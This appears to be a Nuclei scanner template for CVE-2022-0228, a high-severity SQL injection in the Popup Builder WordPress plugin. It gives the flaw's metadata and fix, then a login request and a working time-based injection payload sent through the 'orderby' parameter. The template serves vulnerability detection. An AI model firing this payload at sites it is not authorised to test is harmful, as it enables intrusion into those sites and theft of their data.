id: CVE-2022-0228 info: name: Popup Builder < 4.0.7 - SQL Injection author: r3Y3r53 severity: high description: | The Popup Builder WordPress plugin before 4.0.7 does not validate and properly escape the orderby and order parameters before using them in a SQL statement in the admin dashboard, which could allow high privilege users to perform SQL injection. remediation: update to v.4.0.7 reference: - https://wpscan.com/vulnerability/22facac2-52f4-4e5f-be59-1d2934b260d9 - https://nvd.nist.gov/vuln/detail/CVE-2022-0228 - https://plugins.trac.wordpress.org/changeset/2659117 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2022-0228 cwe-id: CWE-89 epss-score: 0.04446 epss-percentile: 0.91455 cpe: cpe:2.3:a:sygnoos:popup_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: sygnoos product: popup_builder framework: wordpress publicwww-query: /wp-content/plugins/popup-builder/ tags: cve,cve2022,wordpress,wp-plugin,wp,wpscan,popup-builder http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | @timeout: 15s GET /wp-admin/admin-post.php?action=csv_file&orderby=email%2c(select+*+from(select(sleep(7)))b)&order=desc HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'duration_2>=7' - 'status_code_2 == 200' - 'contains_all(body_2, "first name", "last name", "email")' - 'contains(content_type_2, "application/octet-stream")' condition: and # digest: 4b0a00483046022100fedf8086b2399e2da06a86acc87457c1c4f3648cd1906b3cf3b0260a4ff926db022100f2df8b3e2dd2291e8c7ffb22feab51c943f0b9836d811d899577d8023673bef0:922c64590222798bb761d5b6d8e72950